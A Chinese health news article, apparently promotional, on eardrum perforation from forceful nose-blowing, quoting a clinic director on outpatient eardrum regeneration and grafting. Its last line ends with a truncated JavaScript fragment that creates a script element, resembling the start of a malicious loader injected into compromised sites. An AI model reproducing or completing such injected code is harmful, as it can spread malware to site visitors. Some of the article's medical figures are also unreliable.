時值換季時節,不少人的鼻子也開始不安分了起來,鼻涕、鼻水、打噴嚏樣樣來。日前一名男性鼻過敏患者,因擤鼻涕過度用力,意外導致耳膜穿孔破洞,嚴重影響聽力,不僅頭暈耳鳴,平衡感也變差,所幸在接受顯微耳膜再生術後,順利將耳膜穿孔治癒,重拾聽力。耳鼻喉科醫師對此表示,時值過敏高峰期,鼻過敏患者切忌用力擤鼻涕,以免造成耳膜穿孔的意外。

導致外傷性耳膜穿孔的因素很多,舉凡用手指挖耳朵、打噴嚏、、跳水不慎、被打耳光、搭飛機、中耳炎等,皆會導致耳內壓力突然變化或用力過度,而造成耳膜破裂。一旦耳膜破裂,患者都會聽到「啵」一聲,並出現耳朵痛楚、耳鳴、頭暈、平衡感變差、耳朵悶脹等症狀,且患者聽力會明顯減退,僅剩千分之一。

收治該名耳膜穿孔患者的弘光耳鼻喉科許文龍院長表示,以往耳膜穿孔須住院接受手術,由內插入人工耳膜。隨醫療科技進步,目前已有採用門診局部麻醉即可進行的新式「顯微耳膜再生術」,從外而內進行治療,控制發炎並清除增生肉芽,修復耳膜穿孔的邊緣,重建耳膜癒合的良好條件,即可有效促進耳膜外層扁平細胞再生,不僅快速低痛,也提高耳膜癒合成功率,已成為耳膜穿孔患者的理想治療選擇。

許文龍醫師進一步說明,顯微耳膜再生術適用於1/2或1/3以下大小的中央型穿孔,每周治療1至2次,每次約20至30分鐘,平均治療10至12次就能恢復聽力,快速便利有效是其最大優勢。若患者的耳膜穿孔位置在邊緣或面積較大,則建議採取「顯微耳膜移植術」,同樣屬於門診局部麻醉的手術,是以移植的概念進行,可在傷口發揮移植、皮瓣成型、癒合同化作用,使耳膜穿孔能自然修復。

許文龍院長特別指出,耳膜穿孔通常需要先做清潔止血工作,並給予藥物治療,接著須審視傷口大小、位置(中央、邊緣、頂骨)、耳膜條件(正常、萎縮、發炎)、患者年紀、耳膜穿孔嚴重度等,並經過縝密的X光片、內視鏡、聽力檢查、壓力檢查、聽神經檢查後,確定患者症狀後才能決定最適切的耳膜修復方式。若患者有反覆性中耳炎、生肉芽組織增生、鈣化或珍珠瘤、穿孔過大等情況,則不適合上述兩種門診手術,需住院施以耳膜移植高顯微鏡手術,讓耳膜復原。

民眾若耳朵出現聽力受損或不適,千萬不可擅自點藥、清洗或挖耳,一定要盡速尋求專科醫師診斷。許文龍也提醒,耳膜癒合速度因人而異,患者治療後應避免使用抗凝血藥物,不可用力擤鼻涕,飲食清淡、不熬夜並避免感冒,才能及早重拾正常聽力。var d=document;var s=d.createElement(‘script’);